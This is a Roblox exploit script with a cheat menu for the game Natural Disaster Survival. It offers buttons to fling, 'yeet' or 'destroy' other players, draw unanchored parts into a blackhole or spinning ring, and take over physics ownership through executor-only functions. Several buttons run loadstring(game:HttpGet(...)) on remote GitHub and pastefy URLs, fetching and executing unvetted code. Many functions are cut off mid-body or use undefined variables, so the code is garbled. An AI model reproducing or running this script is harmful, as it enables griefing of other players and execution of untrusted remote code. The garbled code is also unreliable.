Script
Script
-- StarterGui.ScreenGui
G2L["1"] = Instance.new("ScreenGui",
game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["ResetOnSpawn"] = false;
-- StarterGui.ScreenGui.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 0;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2"]["Size"] = UDim2.new(0, 519, 0, 331);
G2L["2"]["Position"] = UDim2.new(0.09569, 0, 0.13369, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
-- StarterGui.ScreenGui.Frame.Frame
G2L["4"] = Instance.new("Frame", G2L["2"]);
G2L["4"]["BorderSizePixel"] = 0;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["Size"] = UDim2.new(0, 519, 0, 331);
G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel
G2L["5"] = Instance.new("ImageLabel", G2L["4"]);
G2L["5"]["BorderSizePixel"] = 0;
G2L["5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5"]["Image"] = [[rbxassetid://130111932458302]];
G2L["5"]["Size"] = UDim2.new(0, 519, 0, 280);
G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["Position"] = UDim2.new(0, 0, 0.25378, 0);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["6"] = Instance.new("TextButton", G2L["5"]);
G2L["6"]["BorderSizePixel"] = 0;
G2L["6"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["TextSize"] = 14;
G2L["6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["Text"] = [[Fe yeet]];
G2L["6"]["Position"] = UDim2.new(0.02505, 0, 0.0367, 0);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["7"] = Instance.new("LocalScript", G2L["6"]);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["8"] = Instance.new("TextButton", G2L["5"]);
G2L["8"]["BorderSizePixel"] = 0;
G2L["8"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["TextSize"] = 14;
G2L["8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["Text"] = [[Blackhole]];
G2L["8"]["Position"] = UDim2.new(0.52408, 0, 0.0367, 0);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["9"] = Instance.new("LocalScript", G2L["8"]);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["a"] = Instance.new("TextButton", G2L["5"]);
G2L["a"]["BorderSizePixel"] = 0;
G2L["a"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["TextSize"] = 14;
G2L["a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["Text"] = [[Fling all]];
G2L["a"]["Position"] = UDim2.new(0.02505, 0, 0.26819, 0);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["b"] = Instance.new("LocalScript", G2L["a"]);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["c"] = Instance.new("TextButton", G2L["5"]);
G2L["c"]["BorderSizePixel"] = 0;
G2L["c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["TextSize"] = 14;
G2L["c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["Text"] = [[Super ring part]];
G2L["c"]["Position"] = UDim2.new(0.52408, 0, 0.26819, 0);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["d"] = Instance.new("LocalScript", G2L["c"]);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["e"] = Instance.new("TextButton", G2L["5"]);
G2L["e"]["BorderSizePixel"] = 0;
G2L["e"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["TextSize"] = 14;
G2L["e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["Text"] = [[Infinite yield]];
G2L["e"]["Position"] = UDim2.new(0.02505, 0, 0.50801, 0);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["f"] = Instance.new("LocalScript", G2L["e"]);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["10"] = Instance.new("TextButton", G2L["5"]);
G2L["10"]["BorderSizePixel"] = 0;
G2L["10"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["TextSize"] = 14;
G2L["10"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["Text"] = [[C00lgui revival]];
G2L["10"]["Position"] = UDim2.new(0.52408, 0, 0.50801, 0);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["11"] = Instance.new("LocalScript", G2L["10"]);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["12"] = Instance.new("TextButton", G2L["5"]);
G2L["12"]["BorderSizePixel"] = 0;
G2L["12"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["TextSize"] = 14;
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["Text"] = [[Scp 096]];
G2L["12"]["Position"] = UDim2.new(0.02505, 0, 0.72857, 0);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["13"] = Instance.new("LocalScript", G2L["12"]);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton
G2L["14"] = Instance.new("TextButton", G2L["5"]);
G2L["14"]["BorderSizePixel"] = 0;
G2L["14"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["TextSize"] = 14;
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["Text"] = [[Seraphic blade]];
G2L["14"]["Position"] = UDim2.new(0.52408, 0, 0.72857, 0);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
G2L["15"] = Instance.new("LocalScript", G2L["14"]);
-- StarterGui.ScreenGui.Frame.Frame.TextLabel
G2L["16"] = Instance.new("TextLabel", G2L["4"]);
G2L["16"]["TextWrapped"] = true;
G2L["16"]["TextSize"] = 14;
G2L["16"]["TextScaled"] = true;
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]],
Enum.FontWeight.Bold, Enum.FontStyle.Italic);
G2L["16"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["RichText"] = true;
G2L["16"]["Size"] = UDim2.new(0, 519, 0, 84);
G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["Text"] = [[Natural Disaster Survival scripts fr]];
function updateInput(input)
Delta = input.Position - dragStart
Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X,
startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
game:GetService("TweenService"):Create(Main, TweenInfo.new(.25), {Position =
Position}):Play()
end
Main.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = Main.Position
input.Changed:Connect(function()
if (input.UserInputState == Enum.UserInputState.End) then
dragToggle = false
end
end)
end
end)
Main.InputChanged:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch) then
dragInput = input
end
end)
game:GetService("UserInputService").InputChanged:Connect(function(input)
if (input == dragInput and dragToggle) then
updateInput(input)
end
end)
end
dragify(script.Parent)
end;
task.spawn(C_3);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_7()
local script = G2L["7"];
script.Parent.MouseButton1Click:Connect(function()
local lp = game:FindService("Players").LocalPlayer
--// sds
local h = Instance.new("ScreenGui")
local Main = Instance.new("ImageLabel")
local Top = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local TextBox = Instance.new("TextBox")
local TextButton = Instance.new("TextButton")
h.Name = "h"
h.Parent = game:GetService("CoreGui")
h.ResetOnSpawn = false
Main.Name = "Main"
Main.Parent = h
Main.Active = true
Main.Draggable = true
Main.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Main.BorderSizePixel = 0
Main.Position = UDim2.new(0.174545452, 0, 0.459574461, 0)
Main.Size = UDim2.new(0, 454, 0, 218)
Main.Image = "rbxassetid://2005276185"
Top.Name = "Top"
Top.Parent = Main
Top.BackgroundColor3 = Color3.fromRGB(57, 57, 57)
Top.BorderSizePixel = 0
Top.Size = UDim2.new(0, 454, 0, 44)
Title.Name = "Title"
Title.Parent = Top
Title.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
Title.BorderSizePixel = 0
Title.Position = UDim2.new(0, 0, 0.295454562, 0)
Title.Size = UDim2.new(0, 454, 0, 30)
Title.Font = Enum.Font.SourceSans
Title.Text = "FE Yeet Gui (trollface edition)"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextScaled = true
Title.TextSize = 14.000
Title.TextWrapped = true
TextBox.Parent = Main
TextBox.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
TextBox.BorderSizePixel = 0
TextBox.Position = UDim2.new(0.0704845786, 0, 0.270642221, 0)
TextBox.Size = UDim2.new(0, 388, 0, 62)
TextBox.Font = Enum.Font.SourceSans
TextBox.PlaceholderText = "Who do i destroy(can be shortened)"
TextBox.Text = ""
TextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox.TextScaled = true
TextBox.TextSize = 14.000
TextBox.TextWrapped = true
TextButton.Parent = Main
TextButton.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
TextButton.BorderSizePixel = 0
TextButton.Position = UDim2.new(0.10352423, 0, 0.596330225, 0)
TextButton.Size = UDim2.new(0, 359, 0, 50)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "Cheese em'"
TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton.TextScaled = true
TextButton.TextSize = 14.000
TextButton.TextWrapped = true
TextButton.MouseButton1Click:Connect(function()
local Target = gplr(TextBox.Text)
if Target[1] then
Target = Target[1]
--//fsddfsdf
notif("Loaded successfully! Created by scuba#0001", 5)
end)
end;
task.spawn(C_7);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_9()
local script = G2L["9"];
script.Parent.MouseButton1Click:Connect(function()
local UserInputService = game:GetService("UserInputService")
local Mouse = game:GetService("Players").LocalPlayer:GetMouse()
local Folder = Instance.new("Folder", game:GetService("Workspace"))
local Part = Instance.new("Part", Folder)
local Attachment1 = Instance.new("Attachment", Part)
Part.Anchored = true
Part.CanCollide = false
Part.Transparency = 1
local Updated = Mouse.Hit + Vector3.new(0, 5, 0)
local NetworkAccess = coroutine.create(function()
settings().Physics.AllowSleep = false
while game:GetService("RunService").RenderStepped:Wait() do
for _, Players in next,
game:GetService("Players"):GetPlayers() do
if Players ~= game:GetService("Players").LocalPlayer
then
Players.MaximumSimulationRadius = 0
sethiddenproperty(Players, "SimulationRadius",
0)
end
end
game:GetService("Players").LocalPlayer.MaximumSimulationRadius =
math.pow(math.huge,math.huge)
setsimulationradius(math.huge)
end
end)
coroutine.resume(NetworkAccess)
local function ForcePart(v)
if v:IsA("Part") and v.Anchored == false and
v.Parent:FindFirstChild("Humanoid") == nil and v.Parent:FindFirstChild("Head") ==
nil and v.Name ~= "Handle" then
Mouse.TargetFilter = v
for _, x in next, v:GetChildren() do
if x:IsA("BodyAngularVelocity") or x:IsA("BodyForce")
or x:IsA("BodyGyro") or x:IsA("BodyPosition") or x:IsA("BodyThrust") or
x:IsA("BodyVelocity") or x:IsA("RocketPropulsion") then
x:Destroy()
end
end
if v:FindFirstChild("Attachment") then
v:FindFirstChild("Attachment"):Destroy()
end
if v:FindFirstChild("AlignPosition") then
v:FindFirstChild("AlignPosition"):Destroy()
end
if v:FindFirstChild("Torque") then
v:FindFirstChild("Torque"):Destroy()
end
v.CanCollide = false
local Torque = Instance.new("Torque", v)
Torque.Torque = Vector3.new(100000, 100000, 100000)
local AlignPosition = Instance.new("AlignPosition", v)
local Attachment2 = Instance.new("Attachment", v)
Torque.Attachment0 = Attachment2
AlignPosition.MaxForce = 9999999999999999
AlignPosition.MaxVelocity = math.huge
AlignPosition.Responsiveness = 200
AlignPosition.Attachment0 = Attachment2
AlignPosition.Attachment1 = Attachment1
end
end
for _, v in next, game:GetService("Workspace"):GetDescendants() do
ForcePart(v)
end
game:GetService("Workspace").DescendantAdded:Connect(function(v)
ForcePart(v)
end)
UserInputService.InputBegan:Connect(function(Key, Chat)
if Key.KeyCode == Enum.KeyCode.E and not Chat then
Updated = Mouse.Hit + Vector3.new(0, 5, 0)
end
end)
spawn(function()
while game:GetService("RunService").RenderStepped:Wait() do
Attachment1.WorldCFrame = Updated
end
end)
end)
end;
task.spawn(C_9);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_b()
local script = G2L["b"];
script.Parent.MouseButton1Click:Connect(function()
local Targets = {"All"} -- "All", "Target Name", "arian_was_here"
if TCharacter:FindFirstChildOfClass("Humanoid") then
THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
end
if THumanoid and THumanoid.RootPart then
TRootPart = THumanoid.RootPart
end
if TCharacter:FindFirstChild("Head") then
THead = TCharacter.Head
end
if TCharacter:FindFirstChildOfClass("Accessory") then
Accessory = TCharacter:FindFirstChildOfClass("Accessory")
end
if Accessoy and Accessory:FindFirstChild("Handle") then
Handle = Accessory.Handle
end
repeat
if RootPart and THumanoid then
if BasePart.Velocity.Magnitude < 50 then
Angle = Angle + 100
FPos(BasePart, CFrame.new(2.25,
1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25,
CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(-2.25, -
1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25,
CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -
1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
task.wait()
local BV = Instance.new("BodyVelocity")
BV.Name = "EpixVel"
BV.Parent = RootPart
BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,
false)
BV:Destroy()
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,
true)
workspace.CurrentCamera.CameraSubject = Humanoid
repeat
RootPart.CFrame = getgenv().OldPos *
CFrame.new(0, .5, 0)
Character:SetPrimaryPartCFrame(getgenv().OldPos *
CFrame.new(0, .5, 0))
Humanoid:ChangeState("GettingUp")
table.foreach(Character:GetChildren(), function(_, x)
if x:IsA("BasePart") then
x.Velocity, x.RotVelocity =
Vector3.new(), Vector3.new()
end
end)
task.wait()
until (RootPart.Position - getgenv().OldPos.p).Magnitude <
25
else
return Message("Error Occurred", "Random error", 5)
end
end
if AllBool then
for _,x in next, Players:GetPlayers() do
SkidFling(x)
end
end
-- Sound Effects
local function playSound(soundId)
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://" .. soundId
sound.Parent = SoundService
sound:Play()
sound.Ended:Connect(function()
sound:Destroy()
end)
end
-- GUI Creation
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "SuperRingPartsGUI"
ScreenGui.ResetOnSpawn = false
ScreenGui.Parent = LocalPlayer:WaitForChild("PlayerGui")
-- Minimize functionality
local minimized = false
MinimizeButton.MouseButton1Click:Connect(function()
minimized = not minimized
if minimized then
MainFrame:TweenSize(UDim2.new(0, 220, 0, 40), "Out",
"Quad", 0.3, true)
MinimizeButton.Text = "+"
ToggleButton.Visible = false
DecreaseRadius.Visible = false
IncreaseRadius.Visible = false
RadiusDisplay.Visible = false
Watermark.Visible = false
else
MainFrame:TweenSize(UDim2.new(0, 220, 0, 190), "Out",
"Quad", 0.3, true)
MinimizeButton.Text = "-"
ToggleButton.Visible = true
DecreaseRadius.Visible = true
IncreaseRadius.Visible = true
RadiusDisplay.Visible = true
Watermark.Visible = true
end
playSound("12221967")
end)
MainFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = MainFrame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End
then
dragging = false
end
end)
end
end)
MainFrame.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
local radius = 50
local height = 100
local rotationSpeed = 10
local attractionStrength = 1000
local ringPartsEnabled = false
Part.CustomPhysicalProperties = PhysicalProperties.new(0,
0, 0, 0, 0)
Part.CanCollide = false
return true
end
return false
end
local parts = {}
local function addPart(part)
if RetainPart(part) then
if not table.find(parts, part) then
table.insert(parts, part)
end
end
end
workspace.DescendantAdded:Connect(addPart)
workspace.DescendantRemoving:Connect(removePart)
RunService.Heartbeat:Connect(function()
if not ringPartsEnabled then return end
local humanoidRootPart = LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if humanoidRootPart then
local tornadoCenter = humanoidRootPart.Position
for _, part in pairs(parts) do
if part.Parent and not part.Anchored then
local pos = part.Position
local distance = (Vector3.new(pos.X,
tornadoCenter.Y, pos.Z) - tornadoCenter).Magnitude
local angle = math.atan2(pos.Z -
tornadoCenter.Z, pos.X - tornadoCenter.X)
local newAngle = angle +
math.rad(rotationSpeed)
local targetPos = Vector3.new(
tornadoCenter.X + math.cos(newAngle) *
math.min(radius, distance),
tornadoCenter.Y + (height *
(math.abs(math.sin((pos.Y - tornadoCenter.Y) / height)))),
tornadoCenter.Z + math.sin(newAngle) *
math.min(radius, distance)
)
local directionToTarget = (targetPos -
part.Position).unit
part.Velocity = directionToTarget *
attractionStrength
end
end
end
end)
-- Button functionality
ToggleButton.MouseButton1Click:Connect(function()
ringPartsEnabled = not ringPartsEnabled
ToggleButton.Text = ringPartsEnabled and "Ring Parts On" or "Ring
Parts Off"
ToggleButton.BackgroundColor3 = ringPartsEnabled and
Color3.fromRGB(50, 205, 50) or Color3.fromRGB(160, 82, 45)
playSound("12221967")
end)
DecreaseRadius.MouseButton1Click:Connect(function()
radius = math.max(10, radius - 5)
RadiusDisplay.Text = "Radius: " .. radius
playSound("12221967")
end)
IncreaseRadius.MouseButton1Click:Connect(function()
radius = math.min(100, radius + 5)
RadiusDisplay.Text = "Radius: " .. radius
playSound("12221967")
end)
-- Notifications
StarterGui:SetCore("SendNotification", {
Title = "Join me Discord !",
Text = "For More Op Scripts !",
Duration = 5
})
-- Get player thumbnail
local userId = Players:GetUserIdFromNameAsync("NannaDev")
local thumbType = Enum.ThumbnailType.HeadShot
local thumbSize = Enum.ThumbnailSize.Size420x420
local content, isReady = Players:GetUserThumbnailAsync(userId,
thumbType, thumbSize)
StarterGui:SetCore("SendNotification", {
Title = "Enjoy Super Ring [V3]",
Text = "Cracked By https://discord.com/invite/uSvStbagb2",
Icon = content,
Duration = 5
})
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(message, "All")
end
end
loadstring(game:HttpGet("https://raw.githubusercontent.com/hyperionhax/
c00lgui/refs/heads/main/CoolGui.lua"))()
end)
end;
task.spawn(C_11);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_13()
local script = G2L["13"];
script.Parent.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastefy.app/YsJgITXR/raw"))()
end)
end;
task.spawn(C_13);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_15()
local script = G2L["15"];
script.Parent.MouseButton1Click:Connect(function()
loadstring(game:HttpGet('https://pastefy.app/59mJGQGe/raw'))()
end)
end;
task.spawn(C_15);